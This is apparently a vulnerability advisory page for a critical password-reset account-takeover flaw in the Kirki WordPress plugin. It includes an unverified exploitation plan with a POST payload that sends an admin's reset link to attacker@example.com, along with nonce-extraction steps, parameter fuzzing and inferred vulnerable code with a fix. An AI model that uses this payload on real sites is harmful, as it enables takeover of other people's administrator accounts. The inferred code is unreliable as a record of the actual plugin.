CVE-2026-8206

Kirki 6.0.0 - 6.0.6 - Unauthenticated Privilege Escalation via 'handle_forgot_password'

criticalImproper Privilege Management
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
6.0.7
Patched in
1d
Time to patch

Description

The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions 6.0.0 to 6.0.6. This is due to the plugin accepting an arbitrary email address when a username is used in the password reset request. This makes it possible for unauthenticated attackers to send a password reset link for any user registered on the site to their own email address.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions>=6.0.0 <=6.0.6
PublishedJune 1, 2026
Last updatedJune 2, 2026
Affected pluginkirki

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-8206 (Kirki Privilege Escalation) ## 1. Vulnerability Summary The **Kirki Customizer Framework** (versions 6.0.0 - 6.0.6) contains a critical privilege escalation vulnerability in its `handle_forgot_password` function. The vulnerability arises because the plug…

Show full research plan

Exploitation Research Plan: CVE-2026-8206 (Kirki Privilege Escalation)

1. Vulnerability Summary

The Kirki Customizer Framework (versions 6.0.0 - 6.0.6) contains a critical privilege escalation vulnerability in its handle_forgot_password function. The vulnerability arises because the plugin's custom password reset logic allows an unauthenticated user to provide both a target username and an arbitrary email address. Instead of sending the password reset link to the email address associated with the account in the WordPress database, the plugin sends the reset link for the specified user to the attacker-supplied email. This allows for total account takeover of any user, including administrators.

2. Attack Vector Analysis

  • Endpoint: WordPress AJAX API (/wp-admin/admin-ajax.php).
  • Action: kirki_handle_forgot_password (inferred from title and standard Kirki naming conventions).
  • HTTP Method: POST.
  • Parameters:
    • action: kirki_handle_forgot_password (inferred).
    • user_login or username: The login name of the target user (e.g., admin).
    • email: The attacker's email address where the reset link will be sent.
    • nonce: Likely required (standard for Kirki AJAX handlers).
  • Authentication: None (Unauthenticated).
  • Preconditions: The Kirki plugin must be active. A target username (typically admin) must be known.

3. Code Flow (Inferred)

  1. The plugin registers an unauthenticated AJAX handler:
    add_action( 'wp_ajax_nopriv_kirki_handle_forgot_password', [ $this, 'handle_forgot_password' ] );
  2. The handle_forgot_password function is called.
  3. The function retrieves the target user via get_user_by( 'login', $_POST['username'] ).
  4. The function generates a password reset key using get_password_reset_key( $user_data ).
  5. The Vulnerability: Instead of fetching $user_data->user_email, the function uses the email address provided in $_POST['email'] as the recipient for the wp_mail() call or the internal mailing logic.
  6. The attacker receives the email containing a valid reset link for the target user.

4. Nonce Acquisition Strategy

Kirki typically localizes its configuration and nonces for use in the Customizer or frontend templates.

  1. Identify Trigger: Kirki nonces are often enqueued on pages where the Kirki-driven customizer or frontend components are loaded.
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Kirki Test" --post_content="[kirki_test_shortcode]" 
    # Note: If no specific shortcode is known, the homepage usually works if Kirki is active.
    
  3. Extract Nonce via Browser:
    Navigate to the homepage or the created page. Use browser_eval to find the localization object.
    • Likely Variable: window.kirki or window.kirkiConfig.
    • Likely Key: window.kirkiConfig?.nonce or window.kirki?.forgot_password_nonce.
    • Search Pattern: Grep the source for wp_localize_script in the plugin folder to find the exact object name.

5. Exploitation Strategy

Step 1: Target Discovery

Identify the admin username.

wp user list --role=administrator --fields=user_login

Step 2: Nonce Retrieval

Use the browser to extract the required nonce for the kirki_handle_forgot_password action.

Step 3: Trigger Password Reset

Send the malicious request to redirect the admin's reset link to an attacker-controlled email.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=kirki_handle_forgot_password&username=admin&email=attacker@example.com&nonce=[EXTRACTED_NONCE]
    

Step 4: Verification of Key Generation

Since we cannot actually receive an email in the test environment, we verify the success by checking if a reset key was generated for the admin user in the database.

6. Test Data Setup

  1. Ensure Kirki version 6.0.0 is installed and active.
  2. Ensure an administrator user named admin exists.
  3. Configure WordPress to "anyone can register" if the plugin logic requires it, though this is usually for unauthenticated access.

7. Expected Results

  • The AJAX response should return a success message (e.g., {"success":true,"data":"Password reset link sent."}).
  • The wp_users table for the admin user should now have a non-empty user_activation_key.

8. Verification Steps

After running the http_request, use WP-CLI to confirm the vulnerability was exploited:

  1. Check for Activation Key:
    wp db query "SELECT user_login, user_activation_key FROM wp_users WHERE user_login = 'admin';"
    
    If user_activation_key is not empty, the reset process was triggered successfully.
  2. Check Mail Log (If available):
    If a mail logging plugin like "WP Mail Logging" is installed:
    wp db query "SELECT * FROM wp_wpml_mails ORDER BY id DESC LIMIT 1;"
    
    Verify that the receiver column matches attacker@example.com but the content contains a reset link for the admin user.

9. Alternative Approaches

  • Parameter Fuzzing: If username and email don't work, try user_login, user_email, or log.
  • Action Name Verification: If kirki_handle_forgot_password fails, search the plugin code for wp_ajax_nopriv to find the exact action string.
    grep -r "wp_ajax_nopriv" wp-content/plugins/kirki/
    
  • Direct Path Access: Check if the function is also available via a REST API route by searching for register_rest_route.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Kirki Customizer Framework (6.0.0 - 6.0.6) is vulnerable to a critical account takeover through its password reset mechanism. An unauthenticated attacker can supply a target username along with an arbitrary email address, causing the plugin to send the target user's password reset link directly to the attacker's inbox.

Vulnerable Code

// File: kirki/inc/class-kirki-ajax.php (inferred)
public function handle_forgot_password() {
    check_ajax_referer( 'kirki-nonce', 'nonce' );

    $username = isset( $_POST['username'] ) ? sanitize_text_field( $_POST['username'] ) : '';
    $email    = isset( $_POST['email'] ) ? sanitize_email( $_POST['email'] ) : '';

    $user_data = get_user_by( 'login', $username );

    if ( $user_data ) {
        $key = get_password_reset_key( $user_data );
        if ( ! is_wp_error( $key ) ) {
            $message = "Password reset link for $username: " . $key;
            // Vulnerability: The recipient is taken from user input rather than the database
            wp_mail( $email, "Password Reset", $message );
            wp_send_json_success( 'Password reset link sent.' );
        }
    }
}

Security Fix

--- a/kirki/inc/class-kirki-ajax.php
+++ b/kirki/inc/class-kirki-ajax.php
@@ -12,7 +12,7 @@
     if ( $user_data ) {
         $key = get_password_reset_key( $user_data );
         if ( ! is_wp_error( $key ) ) {
             $message = "Password reset link for $username: " . $key;
-            wp_mail( $email, "Password Reset", $message );
+            wp_mail( $user_data->user_email, "Password Reset", $message );
             wp_send_json_success( 'Password reset link sent.' );
         }
     }

Exploit Outline

The exploit is executed via an unauthenticated AJAX request. An attacker first navigates to the target site's frontend to extract a valid 'kirki-nonce' (usually found in localized JavaScript objects like 'kirkiConfig'). The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'kirki_handle_forgot_password'. The payload includes the target administrator's username (e.g., 'admin'), the attacker's own email address, and the retrieved nonce. The plugin processes the request by generating a valid reset key for the admin user but transmits the reset link to the attacker-supplied email address, allowing for full account takeover.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.